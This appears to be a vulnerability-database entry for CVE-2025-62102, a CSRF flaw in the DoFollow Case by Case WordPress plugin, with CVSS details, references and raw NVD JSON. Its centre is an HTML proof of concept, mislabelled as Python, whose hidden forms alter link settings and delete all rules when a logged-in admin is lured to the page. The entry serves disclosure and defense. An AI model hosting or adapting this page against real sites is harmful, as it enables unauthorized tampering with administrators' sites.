CVE-2025-62102

Description

Cross-Site Request Forgery (CSRF) vulnerability in apasionados DoFollow Case by Case dofollow-case-by-case allows Cross Site Request Forgery.This issue affects DoFollow Case by Case: from n/a through <= 3.5.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

DoFollow Case by Case <= 3.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62102 -->
<!-- This PoC demonstrates the CSRF vulnerability in DoFollow Case by Case plugin -->
<!-- Usage: Host this HTML page and trick logged-in admin to visit it -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-62102</title>
</head>
<body>
    <h1>CSRF PoC for DoFollow Case by Case Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in WordPress DoFollow Case by Case plugin <= 3.5.1</p>
    
    <!-- Form to modify link follow status -->
    <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="dofollow_case_by_case_update">
        <input type="hidden" name="post_id" value="1">
        <input type="hidden" name="dofollow_status" value="dofollow">
        <input type="hidden" name="_wpnonce" value=""> <!-- Missing nonce validation -->
    </form>
    
    <!-- Form to delete configuration -->
    <form id="csrfForm2" action="http://target-site/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="dofollow_case_by_case_delete">
        <input type="hidden" name="rule_id" value="all">
        <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
        // Auto-submit forms when page loads
        window.onload = function() {
            // Uncomment to auto-exploit:
            // document.getElementById('csrfForm').submit();
            // setTimeout(function() {
            //     document.getElementById('csrfForm2').submit();
            // }, 1000);
            console.log('CSRF PoC loaded. Forms ready for auto-submission.');
        };
    </script>
    
    <p><strong>Note:</strong> In a real attack scenario, this page would auto-submit the forms using JavaScript.</p>
    <p><strong>Defense:</strong> Implement nonce token validation and check Referer header.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62102
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62102
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62102/
[4] VulDB https://vuldb.com/cve/CVE-2025-62102
[5] https://patchstack.com/database/Wordpress/Plugin/dofollow-case-by-case/vulnerability/wordpress-dofollow-case-by-case-plugin-3-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62102", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:01.053", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in apasionados DoFollow Case by Case dofollow-case-by-case allows Cross Site Request Forgery.This issue affects DoFollow Case by Case: from n/a through <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/dofollow-case-by-case/vulnerability/wordpress-dofollow-case-by-case-plugin-3-5-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}